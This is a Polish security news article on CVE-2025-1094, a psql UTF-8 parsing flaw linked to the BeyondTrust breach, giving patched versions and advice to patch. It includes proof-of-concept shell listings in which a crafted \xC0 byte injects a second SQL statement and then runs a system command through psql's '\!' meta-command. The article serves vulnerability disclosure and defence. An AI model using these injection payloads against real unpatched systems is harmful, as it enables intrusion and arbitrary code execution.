Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Czy możliwy jest atak SQL Injection w 2025 roku? Tak, poprzez parsowanie znaków w psql
Ostatnio głośno było o atakach na Departament Skarbu, które zostały przypisane chińskim grupom APT. Atakujący wykorzystywali podatności w produktach BeyondTrust Privileged Remote Access oraz Remote Support, które pozwalały na zdalne wykonanie poleceń. Podatności zostały sklasyfikowane jako CVE-2024-12356.
TLDR:
- Firma Rapid7 badała wykorzystywaną przez przestępców podatność oznaczoną jako CVE-2024-12356 klasy RCE w produkcie BeyondTrust.
- Badacze dowiedli, że do osiągnięcia RCE potrzebna jest eksploitacja podatności SQL Injection, wynikająca z błędów prasowania znaków UTF-8 w… psql
W czasie poszukiwań RCE, badacze z Rapid7 natknęli się na podatność SQL Injection w interaktywnym narzędziu psql do zarządzania bazami danych PostgreSQL. Nowa podatność została oznaczona jako CVE-2025-1094 i wyceniona została na 8.1 w skali CVSS.
psql to popularna aplikacja konsolowa, która umożliwia wykonywanie zapytania w języku SQL. Z powodu błędnej obsługi kodowania UTF-8, aplikacja pozwalała na przedwczesne zakończenie zapytania SQL i wstrzyknięcie kolejnego. W tym kontekście, klientem bazy danych jest psql. To on przetwarza zapytania wysyłane przez użytkownika. I o ile nieracjonalnym byłoby zgłaszanie błędu SQL Injection polegającym na zmianie parametrów wpisywanego zapytania, o tyle w tym kontekście chodzi o wykorzystanie specyficznych znaków, które “psują” sposób prasowania składni SQL pozwalając na wykonanie dodatkowych zapytań.
myexamplecompany@localhost /var/tmp $ quoted=$(echo -e "hax\xC0'; foo" | ./dbquote)
myexamplecompany@localhost /var/tmp $ echo "SELECT COUNT(1) FROM gw_sessions WHERE session_key = $quoted AND session_type = 'sdcust' AND (expiration IS NULL OR expiration>NOW())" | $db -e
SELECT COUNT(1) FROM gw_sessions WHERE session_key = 'hax└';
ERROR: invalid byte sequence for encoding "UTF8": 0xc0 0x27
foo' AND session_type = 'sdcust' AND (expiration IS NULL OR expiration>NOW())
ERROR: syntax error at or near "foo"
LINE 1: foo' AND session_type = 'sdcust' AND (expiration IS NULL OR ...
Listing 1. Prezentacja wykonania polecenia z błędnym znakiem. psql wykorzystuje przełącznik -e do bardziej przejrzystego zaprezentowania wykonywanych zapytań
Wartość umieszczona za niepoprawnym znakiem \xC0 została potraktowana jako kolejne zapytanie.
Co ciekawe wykonywanie zapytań SQL to nie jedyna funkcja psql, okazuje się, że wykorzystując znak wykrzyknika możliwe jest wykonywanie poleceń systemowych. Stosując tę samą metodę, która posłużyła do stworzenia dodatkowego query, można wymusić na programie wykonanie polecenia, czyli w efekcie osiągnąć ACE (arbitrary code execution).
myexamplecompany@localhost /var/tmp $ quoted=$(echo -e "hax\xC0'; \! id # " | ./dbquote)
myexamplecompany@localhost /var/tmp $ echo "SELECT COUNT(1) FROM gw_sessions WHERE session_key = $quoted AND session_type = 'sdcust' AND (expiration IS NULL OR expiration>NOW())" | $db -e
SELECT COUNT(1) FROM gw_sessions WHERE session_key = 'hax└';
ERROR: invalid byte sequence for encoding "UTF8": 0xc0 0x27
uid=1000(myexamplecompany) gid=1000(myexamplecompany) groups=1000(myexamplecompany),16(cron),70(postgres)
Listing 2. Wykonanie polecenia systemowego z wykorzystaniem błędnego sposobu parsowania UTF-8
Błąd został zgłoszony 27 stycznia, natomiast publiczna informacja oraz łatki zostały opublikowane 13 lutego. Podatność została załatana w wersjach 17.3, 16.7, 15.11 14.16 oraz 13.9. Użytkownikom zaleca się natychmiastowe zaaplikowanie łatek, ponieważ psql potencjalnie może być wywoływany przez inne programy, co zwiększa ryzyko ataku.
Podatność sama w sobie ma ograniczoną przydatność dla atakującego, jednak może stanowić element większej układanki tak jak w przypadku produktów BeyondTrust.
~fc